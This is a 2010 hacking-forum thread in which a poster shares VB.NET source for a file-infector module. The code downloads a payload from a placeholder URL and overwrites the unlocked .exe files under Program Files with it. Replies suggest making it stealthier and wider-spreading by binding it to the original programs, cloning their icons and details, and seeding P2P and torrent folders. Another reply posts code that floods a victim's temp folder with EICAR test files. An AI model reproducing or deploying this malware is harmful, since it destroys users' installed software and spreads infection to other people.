

Forum:[Hack Forums](#)

Thread: [\(Basic\) Infect EXE Module - VB.NET](#)

pr3fix - June 19, 2010, 6:44 am

Infect EXE Module

BY: Pr3fix

Hello everyone. This is just simple and very basic module that I wrote few minutes ago. I was bored so I wrote it, took me around 10 minutes. Anyways, you can easily mod this, it's just replacing the real EXE with your malware. If you use, give credits. Thanks a lot! ?

Source Code:

Code Module moduleInfect

```
Public Sub InfectIt()  
    Dim DL_Link As String = "http://www.yourlink.com/file.exe"  
    Dim DL_Path As String = Environment.GetFolderPath(Environment.SpecialFolder.Templates) &  
    "\" & rndName(35) + rndName(5) & ".exe"  
    Try : My.Computer.Network.DownloadFile(DL_Link, DL_Path)  
    Catch ex As Exception : End : End Try  
  
    Dim SearchPath As String =  
    Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles) & "\"  
    Dim MyPath As String = Application.ExecutablePath  
    For Each searchEngine As String In My.Computer.FileSystem.GetFiles(SearchPath,  
    FileIO.SearchOption.SearchAllSubDirectories, "*.exe")  
        Try  
            If FileStatus(searchEngine) = False Then  
                System.IO.File.Replace(DL_Path, searchEngine, True)  
            Else  
                End If  
            Catch ex As Exception  
            End Try  
        Next  
    End Sub  
    Private Function FileStatus(ByVal pathEXE As String) As Boolean  
    If System.IO.File.Exists(pathEXE) Then  
        Try  
            Dim F As Short = FreeFile()  
            FileOpen(F, pathEXE, OpenMode.Binary, OpenAccess.ReadWrite, OpenShare.LockReadWrite)  
            FileClose(F)  
        Catch  
            Return True  
        End Try  
    End If  
    End Function  
    Private Function rndName(ByVal longLenght As Long) As String  
    Dim randomZ As Double  
    Dim stringR As String  
    Dim bData As Boolean
```

Randomize()

While Len(stringR) < longLenght

```
randomZ = Int(Rnd() * 75) + 48
bData = False
Select Case randomZ
Case 48 To 57
bData = True
Case 65 To 90
bData = True
Case 97 To 122
bData = True
Case Else
bData = False
End Select
If bData Then
stringR = stringR & Chr(randomZ)
End If
```

End While

rndName = stringR

End Function

End Module

Usage:

Code Call InfectIt

How does this work?:

Basically, this application will download the malware from URL you typed in. After that, it will store it in Temp and search for files in Program Files folder and replace their .EXE with malware's. Also, before it replace.. it will check is file used by any other process or something. If it isn't replace else, just continue. Basically, that is how this works like. Hope you will like it!

Best Regards! ?

- pr3fix

Vorfin - June 19, 2010, 6:46 am

Can I just ask. Why? I mean, they have to run this, so they are infected then. All good viruses use Mutex, so they only run once, so what good would having them run it 500 times because all their games are now viruses.

Bitwin - June 19, 2010, 6:48 am

Haha, I actually made something like this today:

pr3fix - June 19, 2010, 6:57 am

(Jun 19, 2010 06:46 AM)Vorfin Wrote: [\[CITE\]](#) Can I just ask. Why? I mean, they have to run this, so they are infected then. All good viruses use Mutex, so they only run once, so what good would having them run it 500 times because all their games are now viruses.

Because I don't want to release my private one. :3

Plus, I was bored.

newbie223 - June 19, 2010, 9:23 am

nice idea but i seriously dun see this going anywhere really might as well infect the mother fucker once
agreed with vorfin point

GoldStar - June 19, 2010, 10:24 am

Vorfin has a point, but it's good if you like to annoy your victims with your virus all over the computer, so the only option is a really good av or to format. but a couple of tips :

1-don't replace. bind. the replaced exe will run your virus AND the original app.
2-Icon and Info Changer Built-in. after binding, binded file will have the exact same icon and info as the original, otherwise it's so obvious.

anyway gl.

pr3fix - June 19, 2010, 10:28 am

I can make it even better with CodeDOM if you want. It will take around hour to make real infect EXE module.

Neroxan - June 19, 2010, 12:51 pm

(Jun 19, 2010 10:28 AM)pr3fix Wrote: [\[CITE\]](#) It will take around hour to make real infect EXE module. Really? I have a pretty decent working example in vb6 that renames the original file, makes a copy of your malware, and then names it(the malware) to the original and shells the original file after they run your copied & renamed malware file...

It also clones the details & icon of the original file as well. Kinda pointless without it IMO.

By the way, these kinda things set off the UAC like a mofo... fairly worthless as already stated, but you could improve it easily.

Vorfin - June 19, 2010, 12:55 pm

If this is just to screw with victims. Here is another fun thing you can do.

Code Dim RandomClass As New Random

Dim i As Integer = 0
Dim Randi As Integer

Do While i < 100

Randi = RandomClass.Next()

IO.File.AppendAllText(IO.Path.GetTempPath & Randi & "Virus.exe",

"X5O!P%@AP[4PZX54(P^)7CC)7}\$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!\$H+H*")

i = i + 1

Loop

The file it creates is a so called "Test Virus" That AV companies use. It's 44/44 Detected. You can make it a little more interesting by selecting random directorys rather than creating 1000 "viruses" in one folder.

pr3fix - June 19, 2010, 12:59 pm

(Jun 19, 2010 12:51 PM)~WyldeChylde~ Wrote: [\[CITE\]](#) Really? I have a pretty decent working example in vb6 that renames the original file, makes a copy of your malware, and then names it(the malware) to the original and shells the original file after they run your copied & renamed malware file...

It also clones the details & icon of the original file as well. Kinda pointless without it IMO.

By the way, these kinda things set off the UAC like a mofo... fairly worthless as already stated, but you could improve it easily.

With CodeDom class, you can basically do anything. As I already said, I spent only 10 minutes coding this example. So what do you expect. I can post the real, EXE Infection system. That can copy file information and icon and stuff without corrupting the malware.

Anyways, didn't really tested it out so I don't really know.

PAGMAN - June 19, 2010, 1:02 pm

(Jun 19, 2010 12:55 PM)Vorfin Wrote: [\[CITE\]](#) If this is just to screw with victims. Here is another fun thing you can do.

```
Code Dim RandomClass As New Random
```

```
Dim i As Integer = 0
```

```
Dim Randi As Integer
```

```
Do While i < 100
```

```
Randi = RandomClass.Next()
```

```
IO.File.AppendAllText(IO.Path.GetTempPath & Randi & "Virus.exe",  
"X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*")
```

```
i = i + 1
```

```
Loop
```

The file it creates is a so called "Test Virus" That AV companies use. It's 44/44 Detected. You can make it a little more interesting by selecting random directories rather than creating 1000 "viruses" in one folder.

OMG, that's brutal. Imagine coming to your computer and seeing that like 5000 viruses were found. And they were all the same thing. Most people would think it was a worm. :)

Neroxan - June 19, 2010, 1:10 pm

(Jun 19, 2010 12:59 PM)pr3fix Wrote: [\[CITE\]](#) With CodeDom class, you can basically do anything. As I already said, I spent only 10 minutes coding this example. So what do you expect. I can post the real, EXE Infection system. That can copy file information and icon and stuff without corrupting the malware.

Anyways, didn't really tested it out so I don't really know.

Was just givin ya ideas if your gonna use it dude, not hatin?

I wouldnt spread to files in program files or anything such as that myself if I were gonna use it. Look for their p2p folders via registry, or perhaps the folders where they are going to save torrent files to possibly be shared later...

As another alternative idea, keep a log of all the executables on the machine, and when there is a new one found (search once per day or summin to save cpu usage) infect that mother...?

& @ vorfin... Id be so pissed to find that on my machine like that. lol

pr3fix - June 19, 2010, 1:13 pm

No mate, you misunderstood me. I'm not hating or something. I'm just saying that you can do anything with CodeDom.

Anyways, thanks a lot for ideas. I'll think about it and try to implement in next version. Thanks a lot mate! ?

EDIT:

(Jun 19, 2010 06:46 AM)Vorfin Wrote: [\[CITE\]](#) Can I just ask. Why? I mean, they have to run this, so they are infected then. All good viruses use Mutex, so they only run once, so what good would having them run it 500 times because all their games are now viruses.

Also, I forgot to explain what this actually do.

Once opened (the main virus), it will search for all .exe files on the system, and then replace them with downloaded virus.

Neroxan - June 19, 2010, 1:16 pm

(Jun 19, 2010 01:13 PM)pr3fix Wrote: [\[CITE\]](#) No mate, you misunderstood me. I'm not hating or something. I'm just saying that you can do anything with CodeDom.

Anyways, thanks a lot for ideas. I'll think about it and try to implement in next version. Thanks a lot mate! ?

I cant do anything with codedom, older version of vb. lol Ive tried .net and its nice, but eats up more memory and is much slower on my dinosaur cough machine...